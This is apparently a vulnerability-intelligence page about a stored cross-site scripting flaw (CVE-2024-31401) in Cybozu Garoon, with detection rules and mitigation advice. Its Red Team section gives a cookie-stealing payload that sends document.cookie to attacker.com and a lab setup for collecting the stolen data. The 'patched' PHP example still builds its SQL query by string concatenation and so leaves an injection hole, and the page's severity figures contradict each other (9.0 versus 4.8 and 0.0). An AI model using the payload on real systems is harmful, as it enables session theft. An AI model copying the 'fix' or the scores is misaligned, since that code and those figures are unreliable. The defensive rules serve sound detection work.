☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-31401

CVE-2024-31401 Cross-Site Scripting in Cybozu
📅 PUBLISHED: 2024-06-11 04:26 UTC 🔄 UPDATED: 2026-10-16 14:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Japan License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-31401 is a stored Cross-Site Scripting (XSS) vulnerability in Cybozu Garoon versions 5.0.0 through 5.15.2. A remote authenticated attacker with administrative privileges can inject arbitrary scripts that execute in the web browser of any user logging into the product. This flaw allows privilege escalation, session hijacking, and data exfiltration within the Garoon environment. No public proof-of-concept or patch is currently available, making this a high-priority issue for organizations using the affected versions.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Cybozu Garoon is a proprietary enterprise groupware solution. The risk is limited to direct deployments of the Garoon application.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) → Adjusted Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (administrative)
  • User Interaction: Required (victim must be logged in)
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires administrative privileges, but the impact is limited to the browser session of other users. However, an admin could use this to steal session tokens or perform actions on behalf of other users.

Deep Dive & Mechanics

The vulnerability resides in the administrative interface of Cybozu Garoon. An authenticated administrator can inject malicious JavaScript into a field that is later rendered without proper sanitization when other users (including non-admins) view the affected page. The injection occurs during the creation or editing of administrative content (e.g., notifications, custom menus, or system messages). The stored script executes in the context of the victim's browser, allowing the attacker to:

  • Steal session cookies.
  • Perform actions on behalf of the victim (e.g., create new users, modify data).
  • Redirect the victim to malicious sites.
  • Deface the Garoon interface.

The root cause is insufficient output encoding of user-supplied input in the administrative panel. The application fails to escape HTML entities or sanitize JavaScript event handlers before rendering the content.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on typical XSS fixes.

Vulnerable Code (PHP example):

// In admin notification creation
$message = $_POST['message'];
// Directly stored and rendered without sanitization
$db->query("INSERT INTO notifications (message) VALUES ('$message')");
// Later, when rendering:
echo "<div class='notification'>" . $message . "</div>";

Patched Code (Hypothetical):

// Use htmlspecialchars to escape output
$message = $_POST['message'];
$safe_message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO notifications (message) VALUES ('$safe_message')");
// When rendering:
echo "<div class='notification'>" . $safe_message . "</div>";

The patched version applies htmlspecialchars() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to Cybozu Garoon with administrative privileges.
  • A target user who will view the injected content.

Exploitation Steps:

  1. Log in as an administrator.
  2. Navigate to a content creation page (e.g., System Settings → Notifications).
  3. Inject the following payload into a text field:
    <script>alert('XSS')</script>
    
    Or a more advanced payload to steal cookies:
    <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
    
  4. Save the content.
  5. When another user logs in and views the notification, the script executes.

Lab Setup:

  • Use a local Cybozu Garoon instance (version 5.15.2) in a Docker container.
  • Set up a simple HTTP server (e.g., python3 -m http.server 80) to capture exfiltrated data.
  • Use Burp Suite to intercept and modify requests.

Blue Team

Detection:

  • Monitor for unusual administrative actions, especially creation of notifications or system messages.
  • Look for HTTP requests containing <script> tags or event handlers (e.g., onerror, onload).
  • Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

  • Restrict administrative privileges to only necessary users.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Apply input validation and output encoding on all user-supplied data.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
    • Unusual Referer headers pointing to Garoon admin pages.
  • Host:
    • Unexpected JavaScript files in browser cache.
    • Modified system notification or message content in the Garoon database.
  • Logs:
    • Garoon access logs showing POST requests to admin endpoints with encoded payloads.
    • Web server logs with 400 or 500 errors from XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2024_31401_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Cybozu Garoon CVE-2024-31401"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31401"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Cybozu Garoon Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in Garoon admin requests
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31401 Cybozu Garoon XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable administrative accounts that are not actively needed.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS patterns.
  3. Apply Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  4. Monitor logs for suspicious admin activity.

Long-Term Fix:

  • Await an official patch from Cybozu. As of now, no patch is available.
  • Consider upgrading to a version beyond 5.15.2 if released.
  • If possible, apply input validation and output encoding manually by modifying the application code (if source is accessible).

Workaround:

  • Restrict access to the Garoon admin panel via IP whitelisting or VPN.
  • Use browser extensions (e.g., NoScript) to block JavaScript on trusted sites.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-31401/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.